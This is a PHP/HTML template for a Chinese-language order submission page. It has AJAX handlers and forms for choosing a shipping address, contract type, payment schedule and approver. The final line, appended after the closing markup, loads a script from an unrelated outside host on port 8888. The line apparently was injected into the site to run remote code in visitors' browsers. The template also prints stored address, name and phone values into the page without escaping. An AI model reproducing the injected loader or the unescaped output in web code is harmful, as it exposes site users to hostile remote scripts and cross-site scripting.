<script>
$(function(){
    $('#add').submit(function(){
        // ajax发送数据
        $.post(location.href,$(this).serialize()+'&type=add',function(data){
            if (data.state <= 0)
            {
                if(data.extra != '') $('#'+data.extra).focus();
                alert(data.message);
                return false;
            }
            $(data.message).appendTo('#receive_list');
        },'json');
        return false;
    });
    // 提交订单
    $('#list').submit(function(){
        $.post(location.href,$(this).serialize()+'&type=submitorder',function(data){
            alert(data.message);
            if (data.state <= 0)
            {
                return false;
            }
            else
            {
                window.location.href = '?app=<?php echo APP; ?>&mod=<?php echo MOD; ?>&r='+Math.random();
            }
        },'json');
        return false;
    });
});
</script>

<div class="edit_tab tab">
<div class="bg1">
<div class="bg2">
      <span rel="info" class="span_now">选择收货地址</span>
</div>
</div>
</div>

<div label="info" class="edit_div">
<div class="line_1"></div>
<!-- 收货地址列表 -->
<form id="list">
    <div class="form_div1">
        <span class="span1">收货地址：</span>
        <span>
            <ol id="receive_list">
            <?php foreach ((array)$this->rlist as $item): ?>
                <li><input type="radio" name="rid" value="<?php echo $item['cr_id']; ?>" id="r<?php echo $item['cr_id']; ?>"/><label for="r<?php echo $item['cr_id']; ?>"><?php echo $item['address']; ?>&nbsp;&nbsp;<?php echo $item['receive_name']; ?>&nbsp;&nbsp;<?php echo $item['zip']; ?>&nbsp;&nbsp;<?php echo $item['tel']; ?></label></li>
            <?php endforeach; ?>
            </ol>
        </span>
    </div>
    <div class="line_1"></div>
    <div class="form_div1">
        <span class="span1">合同类型：</span>
        <span>
            <ol>
            <?php foreach ((array)$this->contract_list as $item): ?>
                <li><input type="radio" name="contract" value="<?php echo $item; ?>" id="r<?php echo $item; ?>"/><label for="r<?php echo $item; ?>"><?php echo $item; ?></label></li>
            <?php endforeach; ?>
            </ol>
        </span>
    </div>
    <div class="line_1"></div>
    <div class="form_div1">
        <span class="span1">合同信息：</span>
        <span>
            <ol>
                <li>合同号：<input type="text" name="contract_number" value=""/></li>
                <li>预付款时间：<input type="text" name="price_content[1][time]" value="" onclick="new Calendar().show(this)" readonly="1"/></li>
                <li>预付款金额：<input type="text" name="price_content[1][price]" value=""/></li>
                <li>预付百分比：<input type="text" name="price_content[1][percent]" value=""/></li>
                <li>收获后付款时间：<input type="text" name="price_content[2][time]" value="" onclick="new Calendar().show(this)" readonly="1"/></li>
                <li>收获后付款金额：<input type="text" name="price_content[2][price]" value=""/></li>
                <li>收获后付款百分比：<input type="text" name="price_content[2][percent]" value=""/></li>
                <li>尾款付款时间：<input type="text" name="price_content[3][time]" value="" onclick="new Calendar().show(this)" readonly="1"/></li>
                <li>尾款付款金额<input type="text" name="price_content[3][price]" value=""/></li>
                <li>尾款付款百分比：<input type="text" name="price_content[3][percent]" value=""/></li>
            </ol>
        </span>
    </div>
    <div class="line_1"></div>
    <div class="form_div1">
        <span class="span1">下级受理人：</span>
        <span>
            <ol>
            <?php foreach ((array)$this->member_list as $item): ?>
                <li><input type="radio" name="audit_member_id" value="<?php echo $item['uid']; ?>" id="m<?php echo $item['uid']; ?>"/><label for="m<?php echo $item['uid']; ?>"><?php echo $item['username']; ?></label></li>
            <?php endforeach; ?>
            </ol>
        </span>
    </div>
    <div class="line_1"></div>
    <div class="form_div1">
        <span class="span1">应付价/审批价：</span>
        <span>
            <ol>
                <li>￥<?php echo $this->pprice; ?></li>
            </ol>
        </span>
    </div>
    <div class="line_1"></div>
    <div class="form_div1">
        <span class="span1"></span>
        <span><input name="" type="submit" class="btn1" value="确认提交" /><input name="" type="reset" class="btn1" value="重置" /><?php echo showhide(array_merge($_GET,array('step'=>4))); ?></span>
    </div>
    <div class="line_1"></div>
</form>
<!-- 添加新的收货地址 -->
<form id="add">
    <div class="form_div1">
        <span class="span1">添加新收货地址：</span>
        <span></span>
    </div>
    <div class="form_div1">
        <span class="span1">地址</span>
        <span><input name="address" id="address" value="" /><font color="#848484">不超过300个字符</font></span>
    </div>
    <div class="form_div1">
        <span class="span1">邮编</span>
        <span><input name="zip" id="zip" value="" /><font color="#848484">6位纯数字</font></span>
    </div>
    <div class="form_div1">
        <span class="span1">联系电话</span>
        <span><input name="tel" id="tel" value="" /><font color="#848484">7或11位纯数字，区号和号码间不能有符号</font></span>
    </div>
    <div class="form_div1">
        <span class="span1">收货人姓名</span>
        <span><input name="receive_name" id="receive_name" value="<?php echo $this->currc['username']; ?>" /></span>
    </div>
    <div class="form_div1">
        <span class="span1"></span>
        <span><input name="" type="submit" class="btn1" value="确定" /><input name="" type="reset" class="btn1" value="重置" /></span>
    </div>
    <div class="line_1"></div>
</form>
</div><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>